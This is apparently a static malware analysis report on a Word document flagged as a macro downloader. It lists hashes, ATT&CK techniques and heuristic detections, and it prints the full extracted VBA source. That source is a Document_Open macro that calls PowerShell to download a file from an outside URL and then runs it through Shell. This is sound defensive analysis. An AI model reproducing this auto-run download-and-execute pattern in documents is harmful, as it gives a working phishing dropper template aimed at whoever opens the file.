Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 95fe6e2c957fac05…

MALICIOUS

Office (OOXML)

18.0 KB Created: 2021-05-19 14:04:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2021-06-20
MD5: 9ea986a9c73bbba0acf7d41d4aec74c8 SHA-1: fae8ff32a2fad79bb7bb43a321d8cf89ec722180 SHA-256: 95fe6e2c957fac05c47dfe4b41e50d2cfb7a2fa7e5fbc55b50f36762cea7a3c8
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document. This macro uses PowerShell to download a file from the URL 'https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png' and saves it as 'a.png'. It then attempts to execute this downloaded file using 'mspaint a.png'. This indicates a downloader functionality, likely intended to fetch and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    exec = "powershell.exe ""IEX ((new-object net.webclient).downloadfile('https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png', 'a.png'))"""
Shell (exec)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Dim exec As String
exec = "powershell.exe ""IEX ((new-object net.webclient).downloadfile('https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png', 'a.png'))"""
Shell (exec)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub document_open()
Dim exec As String
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.pngIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 605 bytes
SHA-256: 2f4643f5b9464e6c56f4900d6925dac851c8b4a3f878da9c5afe5d001b0183a4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Sub document_open()
Dim exec As String
exec = "powershell.exe ""IEX ((new-object net.webclient).downloadfile('https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png', 'a.png'))"""
Shell (exec)

MsgBox "asd"

Shell ("mspaint a.png")

End Sub

Attribute VB_Name = "NewMacros"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: b06829f19b819090afb6d88da8533a0817ebf02fe57cabff64598e038d0131b9
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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